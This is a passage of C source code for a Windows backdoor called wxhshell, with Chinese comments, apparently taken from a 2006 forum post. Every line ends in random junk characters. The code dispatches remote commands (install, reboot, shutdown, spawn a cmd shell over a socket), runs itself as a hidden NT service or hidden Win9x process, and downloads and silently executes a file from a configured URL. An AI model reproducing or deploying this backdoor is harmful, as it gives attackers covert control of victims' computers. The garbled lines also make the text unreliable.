+FRXTku(  
    switch(cmd[0]) { ' \Z54$  
  D|} y{~  
  // 帮助 SE&J)Sj]  
  case '?': { S-Mn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kaQn'5  
    break; m!L&_ Z|j  
  } 8*V^DM3n-  
  // 安装 Jf{6'Ub  
  case 'i': { }A;J-7g6  
    if(Install()) B@D3aOvO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xs$k6C3  
    else ]f=108|8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P#-Ye<V~J(  
    break; d#cw`h<c~  
    } q|0Lu  
  // 卸载 v>CA A"LH  
  case 'r': { Z%Q[W}iD  
    if(Uninstall()) zL$$G,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,{MA90!  
    else `O ?61YUQH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gF+Uj( d  
    break; !%>p;H%0  
    } @U08v_,  
  // 显示 wxhshell 所在路径 3Z;`n,g  
  case 'p': { 9ar+Ph@*  
    char svExeFile[MAX_PATH]; TC;2K,.#k  
    strcpy(svExeFile,"\n\r"); ,rx?Ig}k z  
      strcat(svExeFile,ExeFile); JJ[.K*dO  
        send(wsh,svExeFile,strlen(svExeFile),0); H z&a~  
    break; eD5.*O  
    } {0 d/;  
  // 重启 cl:h 'aG  
  case 'b': { 2'UWPZgE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rqu_[M  
    if(Boot(REBOOT)) g0NtM%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s ki'I  
    else { J@ZIW%5  
    closesocket(wsh); 60(j[d-$p  
    ExitThread(0); LK5, GWF;  
    } h BD .IB  
    break; ]E$h7I  
    } "u:5  
  // 关机 v#J 2yg  
  case 'd': { ]JF>a_2wG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #e:cB'f  
    if(Boot(SHUTDOWN)) b:VCr^vp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KfD=3h=  
    else { 9bd$mp  
    closesocket(wsh); 'r3yFoP}  
    ExitThread(0); wxU@M1w}  
    } hF|N81T  
    break; s>hNwb/  
    } *\><MXx  
  // 获取shell mDZ/Kp{  
  case 's': { L,6v!9@  
    CmdShell(wsh); eK[8$1  
    closesocket(wsh); `5,46_  
    ExitThread(0); I~ Q2jg2  
    break; r&6X|2@  
  } C.`C T7  
  // 退出 FJxg9!%d  
  case 'x': { [xW;5j<87  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LCKCg[D  
    CloseIt(wsh);  1$nlRQi  
    break; 4+Aht]$hC  
    } }EM  vEA  
  // 离开 ~5S[Sl  
  case 'q': { 03Czx`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eU/o I}A  
    closesocket(wsh); `F-<P%k  
    WSACleanup(); eW%Cef  
    exit(1); J?9K|4 )  
    break; g:&YSjO>G  
        } g{0a]'ph  
  } H&0dc.n~.  
  } KWwEK]   
}t5-%&gBY0  
  // 提示信息 ?}p~8{ '  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .yK~FzLs  
} 84(NylZ  
  } R|4a9G  
W%Jw\ z=  
  return; &d}1) ?  
} o%Ubn*  
#_oN.1u57  
// shell模块句柄 0m8mHJ<&  
int CmdShell(SOCKET sock) t @=*k9  
{ qaE>])  
STARTUPINFO si; jUnS&1]MF  
ZeroMemory(&si,sizeof(si)); R#QOG}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (@wgNA-P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =zaf{0c  
PROCESS_INFORMATION ProcessInfo; rBY)rUDd4  
char cmdline[]="cmd"; MPaF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `p qj~s  
  return 0; {yj8LxX^  
} (.r9bl  
R-%v??  
// 自身启动模式 $wnK"k%G  
int StartFromService(void) ha Tmfh_|  
{ #GoZH?MAF  
typedef struct 7S^ba  
{ s0EF{2<F  
  DWORD ExitStatus; OGA_3|[S   
  DWORD PebBaseAddress; .AHf]X0  
  DWORD AffinityMask; ')G, +d^  
  DWORD BasePriority; =17d7#-  
  ULONG UniqueProcessId; 0<ze'FbV]  
  ULONG InheritedFromUniqueProcessId; 04o>POR  
}   PROCESS_BASIC_INFORMATION; K14FY2"  
jg)+]r/hS  
PROCNTQSIP NtQueryInformationProcess; 3:H[S_q  
S=f:-?N|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r1pj-   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {S l#z }@s  
,Q%q!#@  
  HANDLE             hProcess; z?Hi u6c-  
  PROCESS_BASIC_INFORMATION pbi; $G UCVxs  
+)J;4B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 19#s:nt9  
  if(NULL == hInst ) return 0; 1:Sq?=&  
Dt#( fuk#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yzH(\ x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EU5^"\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4fR}+[~2  
5)@UpcjUA  
  if (!NtQueryInformationProcess) return 0; =qWcw7!"  
A-6><X's6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ./7*<W:  
  if(!hProcess) return 0;  m[>pv1o  
[{&GMc   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fy6(N{hql  
!4Oj^yy%  
  CloseHandle(hProcess); L <QjkFj  
e9\eh? bPU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l.>3gjr  
if(hProcess==NULL) return 0; *(+*tj cWa  
v?Ds|  
HMODULE hMod; vz~`M9^  
char procName[255]; [}+h86:y  
unsigned long cbNeeded; :abpht  
;:WM^S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A )q=.C#e  
.`ZuUr  
  CloseHandle(hProcess); @A.7`*i_  
G~ONHXL  
if(strstr(procName,"services")) return 1; // 以服务启动 GEs5@EH  
 k00&+C  
  return 0; // 注册表启动 E[=# Rw!*  
} 5+Ld1nom  
N{}o*K  
// 主模块 /:=,mWoO  
int StartWxhshell(LPSTR lpCmdLine) .wpp)M.w;H  
{ .Ce0yAl~  
  SOCKET wsl; a#pM9n~a  
BOOL val=TRUE; =".sCV9"N  
  int port=0; Dug{)h_2  
  struct sockaddr_in door; AqZ()p*z  
hy}n&h  
  if(wscfg.ws_autoins) Install(); n/ CP2A  
dxa[9>V  
port=atoi(lpCmdLine); /EvnwYQy  
l0&U7gr  
if(port<=0) port=wscfg.ws_port; IW>\\&pJ  
K%@#a}kRb  
  WSADATA data; Ib}~Q@?2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IM(=j  
D:56>%y@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M>rertUR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q2LAXTF]y  
  door.sin_family = AF_INET; xXQW|#X\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gw^X-  
  door.sin_port = htons(port); E%&E<<nhZ  
rvUJ K,oE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?l?_8y/ww  
closesocket(wsl); )VM'^sV?  
return 1; Fo;.  
} d%lwg~@&|5  
5T-CAkR{n  
  if(listen(wsl,2) == INVALID_SOCKET) { 8b|m66#|  
closesocket(wsl); s~b!3l`gu  
return 1; @|;XDO`k;  
} yyv<MSU8  
  Wxhshell(wsl); '{F Od_uk%  
  WSACleanup(); VthM`~3  
PBY;S G ~  
return 0; SrT=XX,  
6xW17P  
} KkPr08  
`]$H\gNI[8  
// 以NT服务方式启动 ,AuejMd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /8[T2Z!  
{ xN>+!&3%w  
DWORD   status = 0; |Qz"Z<sNYw  
  DWORD   specificError = 0xfffffff; _OY<Hb3%M  
BnPL>11Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qG8-UOUDt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '(fCi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rap =&  
  serviceStatus.dwWin32ExitCode     = 0; IWNIk9T,u  
  serviceStatus.dwServiceSpecificExitCode = 0; V5up/6b,1  
  serviceStatus.dwCheckPoint       = 0; 3BK_$Fy  
  serviceStatus.dwWaitHint       = 0; g7`uWAxZa  
lfe^_`ij(+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "*oN~&flc  
  if (hServiceStatusHandle==0) return; 'l41];_  
Vd+5an?  
status = GetLastError(); G&,2>qxK R  
  if (status!=NO_ERROR) ibxtrt=  
{ NVG`XL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IEQ6J}L  
    serviceStatus.dwCheckPoint       = 0; jx-8%dxtZ  
    serviceStatus.dwWaitHint       = 0; N,?D<NjXl  
    serviceStatus.dwWin32ExitCode     = status; dY$jg  
    serviceStatus.dwServiceSpecificExitCode = specificError; *rmwTD"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U\`yLsKvH`  
    return; q,fk@GI'2  
  } tg%C>O  
nTH!_S>b(Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tRzo}_+N  
  serviceStatus.dwCheckPoint       = 0; Yvxp(  
  serviceStatus.dwWaitHint       = 0; -) \!@n0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  |7wiwdD"  
} ^#,cWG}z  
(IIOVv 1J  
// 处理NT服务事件,比如:启动、停止 2@+ MT z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %q5iy0~P  
{ 5%%A2FrB.S  
switch(fdwControl) OJ4-p&1  
{ c[E>2P2-_  
case SERVICE_CONTROL_STOP: MnT+p[.  
  serviceStatus.dwWin32ExitCode = 0; jY8u1z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QAK.Qk?Qu  
  serviceStatus.dwCheckPoint   = 0; RWK##VHK  
  serviceStatus.dwWaitHint     = 0; Dwi[aC+k  
  { pTzfc`~xv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '$5o5\  
  } G[[NDK  
  return; ^bckl tSo  
case SERVICE_CONTROL_PAUSE: ]J6+nA6)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bmu<V1[W  
  break; ,';+A{aV  
case SERVICE_CONTROL_CONTINUE: bcy( ?(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C@q&0\HN  
  break; Gj(UA1~1  
case SERVICE_CONTROL_INTERROGATE: PdD| 3B&  
  break; yi9c+w)b  
}; 6P:H`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $[-{Mm  
} C%+>uzVIw  
`A o;xOJ  
// 标准应用程序主函数 8L}N,6gC4_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $N`uM  
{ ?FRQ!R  
fl18x;^I  
// 获取操作系统版本 u#m(Py  
OsIsNt=GetOsVer(); )#n>))   
GetModuleFileName(NULL,ExeFile,MAX_PATH); !WReThq  
^Wz3 q-^  
  // 从命令行安装 [j`-R 0Np  
  if(strpbrk(lpCmdLine,"iI")) Install(); _ Oe|ZQ  
gDJ@s    
  // 下载执行文件 *tZ#^YG{(  
if(wscfg.ws_downexe) { vaEAjg*To<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .+c YzS] !  
  WinExec(wscfg.ws_filenam,SW_HIDE); |;B 'C#  
} \ml6B6  
DLrG-C33  
if(!OsIsNt) { 6lc/_&0  
// 如果时win9x,隐藏进程并且设置为注册表启动 &Jw4^ob  
HideProc(); lt&30nf=  
StartWxhshell(lpCmdLine); P$|DiiH  
} mmn1yX:d  
else ,w/f :-y  
  if(StartFromService()) 'd@Vusq}2  
  // 以服务方式启动 umWZ]8  
  StartServiceCtrlDispatcher(DispatchTable); 7F{=bL  
else @tLoU%  
  // 普通方式启动 4)3!n*I  
  StartWxhshell(lpCmdLine); l C|{{?m  
+/Lf4??JV  
return 0; fKY1=3  
}
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只看该作者 1 发表于: 2006-10-10
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